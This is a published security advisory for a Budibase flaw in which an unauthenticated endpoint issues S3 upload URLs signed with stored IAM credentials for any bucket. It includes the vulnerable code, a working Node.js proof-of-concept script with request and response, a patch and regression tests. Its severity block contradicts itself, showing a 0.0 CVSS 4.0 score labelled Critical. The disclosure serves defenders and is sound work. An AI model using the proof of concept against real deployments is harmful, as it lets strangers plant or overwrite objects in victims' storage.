GHSA-35c4-rvc8-frhm CVE-2026-50137
Budibase: POST /api/attachments/:datasourceId/url is unauthenticated and lets anonymous callers mint S3 PUT pre-signed URLs using stored datasource IAM credentials
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.41%
- Chance of exploitation in the next 30 days. Higher than 35.80% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-862 Missing Authorization
- Fix
3.39.0- Upgrade @budibase/server to this version or later
Description
Summary
The Budibase server route POST /api/attachments/:datasourceId/url (packages/server/src/api/routes/static.ts) is registered with only the recaptcha middleware. There is no authorized(...) middleware in the chain. The controller (packages/server/src/api/controllers/static/index.ts::getSignedUploadURL) looks the requested datasource up, instantiates an AWS S3 client with the datasource's stored accessKeyId / secretAccessKey, and returns an AWS Signature V4 pre-signed PutObjectCommand URL for the caller-supplied bucket and key. The bucket is not pinned to the datasource's configured bucket.
The workspace context required by sdk.datasources.get is sourced by getWorkspaceIdFromCtx (packages/backend-core/src/utils/utils.ts) from any of: the x-budibase-app-id header, the JSON body appId, a path segment that begins with the workspace prefix, or ?appId=. auth.buildAuthMiddleware([], { publicAllowed: true }) runs before any of this and explicitly allows anonymous requests. The currentWorkspace middleware's "deny access to dev preview" branch only triggers under isBrowser(ctx) && !isApiKey(ctx); isBrowser checks the parsed User-Agent for a recognised browser, so any non-browser client (curl, the supplied PoC, any tool not setting a browser UA) is neither and reaches dev workspaces too.
Net effect: an anonymous attacker who knows or can enumerate a workspace id (app_...) and an S3-source datasource id (ds_...) can call this endpoint with no auth and obtain a 15-minute pre-signed PUT URL minted on the victim's IAM identity. The endpoint also returns the publicUrl so the attacker knows exactly where their PUT lands. Because bucket is attacker-controlled, the attacker can write to any bucket those IAM credentials can write to, not only the bucket the datasource was configured for.
Affected code
packages/server/src/api/routes/static.ts at HEAD 56d2a984 (master, 2026-05-18):
import { permissions } from "@budibase/backend-core"
import Router from "@koa/router"
import { authorizedMiddleware as authorized } from "../../middleware/authorized"
import recaptcha from "../../middleware/recaptcha"
import { paramResource } from "../../middleware/resourceId"
import * as controller from "../controllers/static"
const { BUILDER, PermissionType, PermissionLevel } = permissions
const router: Router = new Router()
// ...
router
.post("/api/attachments/process", authorized(BUILDER), controller.uploadFile)
.post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip)
.post(
"/api/attachments/:tableId/upload",
recaptcha,
paramResource("tableId"),
authorized(PermissionType.TABLE, PermissionLevel.WRITE),
controller.uploadFile
)
// ...
.post(
"/api/attachments/:datasourceId/url",
recaptcha,
controller.getSignedUploadURL // <- no authorized(...)
)
Note the asymmetry: every other mutating endpoint on this router carries an authorized(...) middleware. The signed-URL endpoint does not.
packages/server/src/api/controllers/static/index.ts:595-645:
export const getSignedUploadURL = async function (ctx) {
let datasource
try {
const { datasourceId } = ctx.params
datasource = await sdk.datasources.get(datasourceId, { enriched: true })
if (!datasource) {
ctx.throw(400, "The specified datasource could not be found")
}
} catch (error) {
ctx.throw(400, "The specified datasource could not be found")
}
let signedUrl, publicUrl
const awsRegion = (datasource?.config?.region || "eu-west-1") as string
if (datasource?.source === "S3") {
const { bucket, key } = ctx.request.body || {}
if (!bucket || !key) {
ctx.throw(400, "bucket and key values are required")
}
try {
let endpoint = datasource?.config?.endpoint
if (endpoint && !utils.urlHasProtocol(endpoint)) {
endpoint = `https://${endpoint}`
}
const s3 = new S3({
region: awsRegion,
endpoint,
credentials: {
accessKeyId: datasource?.config?.accessKeyId as string,
secretAccessKey: datasource?.config?.secretAccessKey as string,
},
})
const params = { Bucket: bucket, Key: key }
signedUrl = await getSignedUrl(s3, new PutObjectCommand(params))
if (endpoint) {
publicUrl = `${endpoint}/${bucket}/${key}`
} else {
publicUrl = `https://${bucket}.s3.${awsRegion}.amazonaws.com/${key}`
}
} catch (error: any) {
ctx.throw(400, error)
}
}
ctx.body = { signedUrl, publicUrl }
}
sdk.datasources.get(datasourceId, { enriched: true }) (packages/server/src/sdk/workspace/datasources/datasources.ts) does the workspace DB read and also substitutes {{ env.* }} references in the config via processObjectSync, so even if the operator stored credentials as environment-variable references, those values are resolved before the S3 client is built.
recaptcha (packages/server/src/middleware/recaptcha.ts) short-circuits to next() whenever the workspace either is not a production workspace or does not have features.recaptchaEnabled = true on its metadata. Neither is set by default. Even on workspaces with recaptcha enabled, builders carrying the x-budibase-type: builder header skip the check, but that branch is irrelevant here — the broader case is that an anonymous attacker simply chooses a non-prod workspace (which is the default for any in-development app) and the middleware no-ops.
Reproduction
Proof-of-concept Node.js script (no AWS SDK dependency, no external libraries):
#!/usr/bin/env node
// PoC: Unauthenticated S3 signed-upload-URL minting in Budibase
// usage: node poc.js <budibase-base-url> <app-id> <datasource-id>
"use strict"
const http = require("http")
const https = require("https")
const { URL } = require("url")
function postJson(targetUrl, headers, body) {
return new Promise((resolve, reject) => {
const u = new URL(targetUrl)
const lib = u.protocol === "https:" ? https : http
const payload = Buffer.from(JSON.stringify(body), "utf8")
const req = lib.request(
{
method: "POST",
protocol: u.protocol,
hostname: u.hostname,
port: u.port || (u.protocol === "https:" ? 443 : 80),
path: u.pathname + u.search,
headers: Object.assign(
{
"Content-Type": "application/json",
"Content-Length": payload.length,
// Deliberately not a recognised browser UA so the
// currentWorkspace dev-preview redirect does not fire.
"User-Agent": "budibase-poc/1.0",
},
headers || {}
),
},
res => {
const chunks = []
res.on("data", c => chunks.push(c))
res.on("end", () =>
resolve({
status: res.statusCode,
body: Buffer.concat(chunks).toString("utf8"),
})
)
}
)
req.on("error", reject)
req.write(payload)
req.end()
})
}
async function main() {
const [baseUrl, appId, datasourceId] = process.argv.slice(2)
if (!baseUrl || !appId || !datasourceId) {
console.error("usage: node poc.js <baseUrl> <appId> <datasourceId>")
process.exit(2)
}
const bucket = process.env.POC_BUCKET || "attacker-chosen-bucket"
const key = process.env.POC_KEY || `pwn/${Date.now()}.html`
const url = baseUrl.replace(/\/$/, "") +
`/api/attachments/${encodeURIComponent(datasourceId)}/url`
const resp = await postJson(
url,
{ "x-budibase-app-id": appId },
{ bucket, key }
)
console.log(`HTTP ${resp.status}`)
console.log(resp.body)
}
main().catch(err => {
console.error(err)
process.exit(1)
})
Wire-level request:
POST /api/attachments/ds_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/url HTTP/1.1
Host: budibase.example:10000
x-budibase-app-id: app_dev_yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
Content-Type: application/json
User-Agent: budibase-poc/1.0
Content-Length: 36
{"bucket":"victim-bucket","key":"x.html"}
Response:
HTTP/1.1 200 OK
Content-Type: application/json
{
"signedUrl": "https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...%2F20260519%2Feu-west-1%2Fs3%2Faws4_request&X-Amz-Date=20260519T120000Z&X-Amz-Expires=900&X-Amz-Signature=...&X-Amz-SignedHeaders=host&x-id=PutObject",
"publicUrl": "https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html"
}
The attacker then PUTs arbitrary bytes to signedUrl and they land at publicUrl, signed by — and IAM-scoped to — the victim's stored S3 credentials.
The existing test that exercises the endpoint, packages/server/src/api/routes/tests/static.spec.ts:123-146, sends the same request with config.defaultHeaders() (a builder auth cookie). That confirms the request shape; no negative-auth test (.set({}) or publicHeaders()) exists for this route, which is how the missing authorized(...) slipped past code review.
Impact
- Confidentiality / Integrity: any anonymous internet user can write arbitrary objects to any bucket the configured IAM credentials can write to. The
bucketparameter is attacker-controlled, so the blast radius is the full IAM policy attached to the credential, not just the bucket the operator wired into the datasource. Typical realistic outcomes: planting HTML/JS that the bucket serves at a known path (the response gives backpublicUrl), overwriting an existing key the application later reads back as trusted data, racking up S3 storage / PUT cost. - Availability: storage / cost exhaustion. Repeated PUTs of large objects to attacker-chosen keys cost the victim.
- Authorization scope leak: the endpoint discloses (a) whether a given
datasourceIdexists and is S3-typed (200 vs 400 'not found'), and (b) the resolvedpublicUrlwhich includes the region.
No MFA / OAuth / per-user check exists between the request and the issued pre-signed URL. The credentials are not returned in plaintext, but the pre-signed URL is functionally equivalent to a 15-minute capability to PUT to the chosen bucket/key.
Suggested fix
Attach authorized(PermissionType.TABLE, PermissionLevel.WRITE) (or a higher gate, e.g. BUILDER, depending on intended audience) to the route, mirroring the sibling /api/attachments/:tableId/upload registration. Additionally, validate that the requested bucket matches datasource.config.bucket so the IAM blast radius is reduced to the configured bucket only.
Minimal patch shape:
.post(
"/api/attachments/:datasourceId/url",
recaptcha,
paramResource("datasourceId"),
authorized(PermissionType.TABLE, PermissionLevel.WRITE),
controller.getSignedUploadURL
)
And in the controller, before calling getSignedUrl:
const configuredBucket = datasource?.config?.bucket
if (configuredBucket && bucket !== configuredBucket) {
ctx.throw(400, "bucket does not match configured datasource bucket")
}
Credit
Reported by tonghuaroot (tonghuaroot@gmail.com).
Fix PR
A candidate fix has been prepared on the temporary private fork that was created from this advisory:
- PR: https://github.com/Budibase/budibase-ghsa-35c4-rvc8-frhm/pull/1
- Branch:
fix/attachment-url-auth-and-bucket-pin - Commit:
Require builder auth and pin bucket on POST /api/attachments/:datasourceId/url
The patch is the canonical two-part fix:
- Attach
authorized(BUILDER)toPOST /api/attachments/:datasourceId/urlonpackages/server/src/api/routes/static.ts, mirroring the surroundingPOST /api/attachments/processandPOST /api/pwa/process-zipregistrations. Anonymous callers now receive 401 regardless of whether therecaptchamiddleware fails open. - Pin
Buckettodatasource.config.bucketinsidegetSignedUploadURL(packages/server/src/api/controllers/static/index.ts) and ignore anybucketvalue supplied in the request body. If the datasource has no bucket configured, the route now returns 400 instead of issuing an unbounded pre-signed URL.
Two regression tests are added in packages/server/src/api/routes/tests/static.spec.ts:
should reject unauthenticated callers(anonymous request withconfig.publicHeaders()now returns 401, was 200 before).should ignore a client-supplied bucket and pin to the datasource's configured bucket(authenticated request with body{ bucket: "other-bucket", key: "bar" }returns a signed URL bound tofoo.s3.eu-west-1.amazonaws.com/bar, notother-bucket).
Test run on the patch (Jest, packages/server):
PASS src/api/routes/tests/static.spec.ts
/static
/attachments
generateSignedUrls
v should be able to generate a signed upload URL
v should reject unauthenticated callers
v should ignore a client-supplied bucket and pin to the datasource's configured bucket
v should reject when the datasource has no configured bucket
v should handle an invalid datasource ID
v should require a key parameter
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| @budibase/server | < 3.39.0 |
3.39.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
@budibase/server npm → 3.39.0
- npm
npm install @budibase/server@3.39.0- yarn
yarn add @budibase/server@3.39.0- pnpm
pnpm add @budibase/server@3.39.0
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Network
- Attack complexity
- High
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 9.4
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- Low
Weakness
CWE-862: Missing Authorization
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-6x9p-4r67-5gjx Budibase authenticated arbitrary S3 signed upload URL issuance via `/api/attachments/:datasourceId/url` | High | Also affects @budibase/server |
| GHSA-5fpj-28rv-84r7 Budibase: SSRF in Automation Steps - Webhook, Zapier, N8N, Slack, Discord Bypass IP Blacklist | High | Also affects @budibase/server |
| GHSA-hfhx-w8p8-4hc7 Budibase: SSRF via bare fetch() in uploadUrl during AI table generation | Medium | Also affects @budibase/server |
| GHSA-v42f-v8xc-j435 Budibase: SSRF via DNS rebinding in the REST datasource integration | High | Also affects @budibase/server |
| GHSA-pmpg-2mxq-6xwr Budibase: NoSQL injection in MongoDB integration: collection dump, $where JS exec, cross-collection pivot, arbitrary update/delete | High | Also affects @budibase/server |
| GHSA-cr7p-cr3q-h5cm Budibase: Account Enumeration via Login Lockout Response Differential | Medium | Also affects @budibase/server |
| GHSA-pvcr-8mvp-w8qr Budibase: Chat-Link Handoff Identity Confusion (Same-Tenant Account-Link CSRF) | High | Also affects @budibase/server |
| GHSA-2xgg-r2wc-c5r2 Budibase: MySQL DESCRIBE Backtick Injection via multipleStatements in Database Connector | High | Also affects @budibase/server |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor